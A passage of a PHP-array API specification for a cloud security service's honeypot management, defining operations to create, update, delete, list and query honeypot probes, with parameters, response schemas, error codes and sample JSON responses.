'CUSTOM', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0C656B33-0D6B-5953-A26A-D766BD75B44A', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"HoneypotImageName\\": \\"metabase\\",\\n \\"PresetName\\": \\"WebMin-online\\",\\n \\"HoneypotPresetId\\": \\"3cc04a47-7229-418c-8101-f10a2887****\\",\\n \\"NodeId\\": \\"c94eff5b-ea48-4805-8b7f-e04d3509****\\",\\n \\"ControlNodeName\\": \\"node1\\",\\n \\"HoneypotImageDisplayName\\": \\"Metabase\\",\\n \\"PresetType\\": \\"CUSTOM\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0C656B33-0D6B-5953-A26A-D766BD75B44A\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotPreset', ], 'CreateHoneypotProbe' => [ 'summary' => 'Creates a probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'ControlNodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to query the IDs of management nodes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], [ 'name' => 'ProbeType', 'in' => 'query', 'schema' => [ 'title' => '探针类型 主机探针 VPC黑洞探针', 'description' => 'The type of the probe. Valid values:'."\n" ."\n" .'* **host_probe**: host probe'."\n" .'* **vpc_black_hole_probe**: virtual private cloud (VPC) probe'."\n", 'type' => 'string', 'required' => true, 'example' => 'host_probe', ], ], [ 'name' => 'DisplayName', 'in' => 'query', 'schema' => [ 'title' => '探针名称', 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'required' => true, 'example' => 'testHoneyPotProbe', ], ], [ 'name' => 'ProbeVersion', 'in' => 'query', 'schema' => [ 'title' => '探针版本', 'description' => 'The version of the probe.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.0.0', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'title' => '实例', 'description' => 'The UUID of the instance.'."\n" ."\n" .'> If **ProbeType** is set to **host_probe**, this parameter is required.'."\n", 'type' => 'string', 'required' => false, 'example' => 'e4af3620-6895-4e2f-a641-a9d8fb53****', ], ], [ 'name' => 'BusinessGroupId', 'in' => 'query', 'schema' => [ 'title' => '业务分组', 'description' => 'The ID of the business group.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022011817324588686', ], ], [ 'name' => 'HoneypotBindList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '蜜罐绑定信息', 'description' => 'The configuration of the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the configuration.'."\n", 'type' => 'object', 'properties' => [ 'BindPortList' => [ 'description' => 'The listener ports.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The listener port.'."\n", 'type' => 'object', 'properties' => [ 'TargetPort' => [ 'description' => 'The destination port.'."\n" ."\n" .'> If **HoneypotId** is specified, this parameter is required.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], 'StartPort' => [ 'description' => 'The start of the port range.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], 'EndPort' => [ 'description' => 'The end of the port range.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '90', ], 'Fixed' => [ 'description' => 'Specifies whether the port is a fixed port. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'boolean', 'required' => false, 'example' => '0', ], 'BindPort' => [ 'description' => 'Specifies whether to bind a port. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], 'HoneypotId' => [ 'description' => 'The ID of the honeypot.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => false, 'example' => '1a5eda2d40f92ac87d6b63e1a5ad4b76fe0d4110c4a3e2fa85438a29ae55****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Ping', 'in' => 'query', 'schema' => [ 'title' => '检测类型 ping', 'description' => 'Specifies whether to enable ping scan. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Arp', 'in' => 'query', 'schema' => [ 'title' => '检查类型 arp', 'description' => 'Specifies whether to enable Address Resolution Protocol (ARP) spoofing. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'title' => 'vpcId', 'description' => 'The ID of the VPC.'."\n" ."\n" .'> If **ProbeType** is set to **vpc_black_hole_probe**, this parameter is required. You can call the [DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~) operation to query the IDs of VPCs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-zm0asrkpv1q8gnk7mn4dn', ], ], [ 'name' => 'ProxyIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the proxy.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The returned result.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A2240DB', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'HoneypotProbe' => [ 'description' => 'The information about the probe.'."\n", 'type' => 'object', 'properties' => [ 'ProbeId' => [ 'description' => 'The ID of the probe.'."\n", 'type' => 'string', 'example' => 'b69e9aa8-2ea8-4c5a-836a-c1fbacff****', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AgentNotOnline', 'errorMessage' => 'The agent not online.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'NodeNotExist', 'errorMessage' => 'The control node does not exist.', ], [ 'errorCode' => 'BindPortAlreadyExist', 'errorMessage' => 'The specified service port already exists.', ], [ 'errorCode' => 'MachineNotExist', 'errorMessage' => 'The machine does not exist.', ], [ 'errorCode' => 'ProbeAlreadyCreate', 'errorMessage' => 'The probe has been created.', ], [ 'errorCode' => 'ProbeNameAlreadyExists', 'errorMessage' => 'The probe name already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A2240DB\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotProbe\\": {\\n \\"ProbeId\\": \\"b69e9aa8-2ea8-4c5a-836a-c1fbacff****\\"\\n }\\n}","type":"json"}]', 'title' => 'CreateHoneypotProbe', ], 'DeleteHoneypotProbe' => [ 'summary' => 'Deletes a specified probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The ID of the probe.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => true, 'example' => '95f0f79c-f7e9-4b09-a6e3-95a4cb6d****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7FD1C1DC-AA67-510A-A022-5D23310C3658', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7FD1C1DC-AA67-510A-A022-5D23310C3658\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteHoneypotProbe', ], 'UpdateHoneypotProbe' => [ 'summary' => 'Modifies the attributes of a specified probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas30M8TS', ], ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The ID of the probe.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'bbe7e382-956f-473e-beed-bc73a258****', ], ], [ 'name' => 'DisplayName', 'in' => 'query', 'schema' => [ 'title' => '探针名称', 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'required' => false, 'example' => 'svwsx-vpc-4430', ], ], [ 'name' => 'Ping', 'in' => 'query', 'schema' => [ 'title' => '检测类型 ping', 'description' => 'Specifies whether ping is enabled for the check type.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Arp', 'in' => 'query', 'schema' => [ 'title' => '检查类型 arp', 'description' => 'Specifies whether address resolution protocol (ARP) is enabled for the check type.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'ServiceIpList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IP addresses that are monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that is monitored.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AB62FFAA-E1A5-5D7C-8D97-0F16C6A6F520', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ProbeNotExist', 'errorMessage' => 'Probe does not exist.', ], [ 'errorCode' => 'ProbeNameAlreadyExists', 'errorMessage' => 'The probe name already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"AB62FFAA-E1A5-5D7C-8D97-0F16C6A6F520\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateHoneypotProbe', ], 'ListHoneypotProbe' => [ 'summary' => 'Queries probes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'ProbeStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the probe. Valid values:'."\n" ."\n" .'* **installed**: installed'."\n" .'* **install_failed**: installation failed'."\n" .'* **online**: online'."\n" .'* **offline**: offline'."\n" .'* **unnormal**: abnormal'."\n" .'* **unprobe**: unauthorized'."\n" .'* **uninstalling**: being uninstalled'."\n" .'* **uninstalled**: uninstalled'."\n" .'* **uninstall_failed**: uninstallation failed'."\n" .'* **not_exist**: not installed'."\n", 'type' => 'string', 'required' => false, 'example' => 'online', ], ], [ 'name' => 'DisplayName', 'in' => 'query', 'schema' => [ 'title' => '探针名称', 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'required' => false, 'example' => 'probe-test', ], ], [ 'name' => 'ProbeType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the probe. Valid values:'."\n" ."\n" .'* **host_probe**: host probe'."\n" .'* **vpc_black_hole_probe**: VPC probe'."\n", 'type' => 'string', 'required' => false, 'example' => 'host_probe', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of the details about the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the probe.'."\n", 'type' => 'object', 'properties' => [ 'ProbeId' => [ 'title' => '探针id', 'description' => 'The ID of the probe.'."\n", 'type' => 'string', 'example' => '4d167bb3-dd09-4a6a-a179-d5d6a5b0****', ], 'ProbeType' => [ 'title' => '探针类型', 'description' => 'The type of the probe. Valid values:'."\n" ."\n" .'* **host_probe**: host probe'."\n" .'* **vpc_black_hole_probe**: VPC probe'."\n", 'type' => 'string', 'example' => 'host_probe', ], 'ProbeVersion' => [ 'title' => '探针版本', 'description' => 'The version of the probe.'."\n", 'type' => 'string', 'example' => '18060096', ], 'DisplayName' => [ 'title' => '探针名称', 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'example' => 'prod-pinpoint-hd1b ', ], 'OsType' => [ 'title' => '操作系统类型', 'description' => 'The operating system of the server on which the probe is deployed. Valid values:'."\n" ."\n" .'* windows'."\n" .'* linux'."\n", 'type' => 'string', 'example' => 'windows', ], 'HostIp' => [ 'title' => '探针绑定的本地地址', 'description' => 'The IP address of the server on which the probe is installed.'."\n", 'type' => 'string', 'example' => '33.53.XX.XX', ], 'ControlNode' => [ 'title' => '管理节点', 'description' => 'The information about the management node.'."\n", 'type' => 'object', 'properties' => [ 'NodeId' => [ 'title' => '节点id', 'description' => 'The ID of the node.'."\n", 'type' => 'string', 'example' => '8ec9da17-c0e7-4642-aad6-defc9722****', ], 'NodeName' => [ 'title' => '节点名称', 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'HoneypotNode1', ], 'EcsInstanceId' => [ 'title' => '实例id', 'description' => 'The ID of the Elastic Compute Service (ECS) instance.'."\n", 'type' => 'string', 'example' => 'i-uf6eq0rlvu1mkh0p****', ], ], ], 'DeployTime' => [ 'title' => '部署时间', 'description' => 'The time when the probe was deployed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1669363825000', ], 'Status' => [ 'description' => 'The status of the probe. Valid values:'."\n" ."\n" .'* **installed**: installed'."\n" .'* **install_failed**: installation failed'."\n" .'* **online**: online'."\n" .'* **offline**: offline'."\n" .'* **unnormal**: abnormal'."\n" .'* **unprobe**: unauthorized'."\n" .'* **uninstalling**: being uninstalled'."\n" .'* **uninstalled**: uninstalled'."\n" .'* **uninstall_failed**: uninstallation failed'."\n" .'* **not_exist**: not installed'."\n", 'type' => 'string', 'example' => 'online', ], 'Uuid' => [ 'description' => 'The UUID of the server to which the host probe is deployed.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'VpcId' => [ 'description' => 'The ID of the VPC in which the VPC probe is deployed.'."\n", 'type' => 'string', 'example' => 'vpc-5gu8iu68w9b472jbb****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4BC9E610-21BE-537F-82EF-144A60D5A970', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"ProbeId\\": \\"4d167bb3-dd09-4a6a-a179-d5d6a5b0****\\",\\n \\"ProbeType\\": \\"host_probe\\",\\n \\"ProbeVersion\\": \\"18060096\\",\\n \\"DisplayName\\": \\"prod-pinpoint-hd1b \\",\\n \\"OsType\\": \\"windows\\",\\n \\"HostIp\\": \\"33.53.XX.XX\\",\\n \\"ControlNode\\": {\\n \\"NodeId\\": \\"8ec9da17-c0e7-4642-aad6-defc9722****\\",\\n \\"NodeName\\": \\"HoneypotNode1\\",\\n \\"EcsInstanceId\\": \\"i-uf6eq0rlvu1mkh0p****\\"\\n },\\n \\"DeployTime\\": 1669363825000,\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"VpcId\\": \\"vpc-5gu8iu68w9b472jbb****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"4BC9E610-21BE-537F-82EF-144A60D5A970\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotProbe', ], 'GetHoneypotProbe' => [ 'summary' => 'Queries the details about a specified probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '124719', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The probe ID.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => true, 'example' => 'd6c1ebc9-a90d-4c9e-9490-328814d1ca00', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The information about the probe.'."\n", 'type' => 'object', 'properties' => [ 'ProbeId' => [ 'title' => '探针id', 'description' => 'The ID of the probe.'."\n", 'type' => 'string', 'example' => '40f6501d-45ec-4bf0-b813-0072ceb4****', ], 'ProbeType' => [ 'title' => '探针类型', 'description' => 'The type of the probe. Valid values:'."\n" ."\n" .'* **host_probe**: host probe'."\n" .'* **vpc_black_hole_probe**: virtual private cloud (VPC) probe'."\n", 'type' => 'string', 'example' => 'host_probe', ], 'DisplayName' => [ 'title' => '探针名称', 'description' => 'The name of the probe.'."\n", 'type' => 'string', 'example' => 'test-probe', ], 'OsType' => [ 'title' => '操作系统类型', 'description' => 'The operating system of the server on which the probe is deployed. Valid values:'."\n" ."\n" .'* windows'."\n" .'* linux'."\n", 'type' => 'string', 'example' => 'windows', ], 'ProbeVersion' => [ 'title' => '探针版本', 'description' => 'The version of the probe.'."\n", 'type' => 'string', 'example' => '18060096', ], 'HostIp' => [ 'title' => '探针绑定的本地地址', 'description' => 'The IP address of the server on which the probe is deployed.'."\n", 'type' => 'string', 'example' => '33.53.XX.XX', ], 'ControlNode' => [ 'title' => '管理节点', 'description' => 'The information about the management node.'."\n", 'type' => 'object', 'properties' => [ 'NodeId' => [ 'title' => '节点id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => '37a15ff1-3475-4897-aa6c-f7fd9122****', ], 'NodeName' => [ 'title' => '节点名称', 'description' => 'The name of the management node.'."\n", 'type' => 'string', 'example' => 'online-honeypot', ], 'EcsInstanceId' => [ 'title' => '实例id', 'description' => 'The instance ID of the management node.'."\n", 'type' => 'string', 'example' => 'i-bp19ijepxytwtzrk****', ], ], ], 'Ping' => [ 'title' => '检查项目 ping', 'description' => 'Indicates whether ping is enabled for the check type.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Arp' => [ 'title' => '检查项目 arp', 'description' => 'Indicates whether address resolution protocol (ARP) is enabled for the check type.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'DeployTime' => [ 'title' => '部署时间', 'description' => 'The time when the probe was deployed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1669363825000', ], 'Status' => [ 'title' => '探针状态', 'description' => 'The status of the probe. Valid values:'."\n" ."\n" .'* **installed**: installed'."\n" .'* **install_failed**: installation failed'."\n" .'* **online**: online'."\n" .'* **offline**: offline'."\n" .'* **unnormal**: abnormal'."\n" .'* **unprobe**: unauthorized'."\n" .'* **uninstalling**: being uninstalled'."\n" .'* **uninstalled**: uninstalled'."\n" .'* **uninstall_failed**: uninstallation failed'."\n" .'* **not_exist**: not installed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'online', ], 'ListenIpList' => [ 'title' => '可监听IP', 'description' => 'An array consisting of the IP addresses that can be monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that can be monitored.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], ], 'CpuLoad' => [ 'title' => 'cpu 占用', 'description' => 'The CPU utilization.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '0.51', ], 'MemoryLoad' => [ 'title' => '内存 占用', 'description' => 'The memory usage.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '1.94', ], 'HoneypotProbeBindList' => [ 'title' => '服务列表', 'description' => 'The honeypots that are bound to the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the service to which the probe forwards traffic.'."\n", 'type' => 'object', 'properties' => [ 'ServiceIpList' => [ 'title' => '监听 ip 列表', 'description' => 'The IP addresses that are monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that is monitored.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], ], 'Status' => [ 'title' => '服务状态', 'description' => 'The status of the honeypot that is bound to the probe. Valid values:'."\n" ."\n" .'* **1**: abnormal'."\n" .'* **3**: normal'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'HoneypotId' => [ 'title' => '蜜罐Id', 'description' => 'The honeypot ID.'."\n", 'type' => 'string', 'example' => '913347774a3b3c378c6a50f66de23dfa097765214ec3f0526b01c67bf59c****', ], 'BindPortList' => [ 'description' => 'The ports that are bound to the probe.'."\n", 'type' => 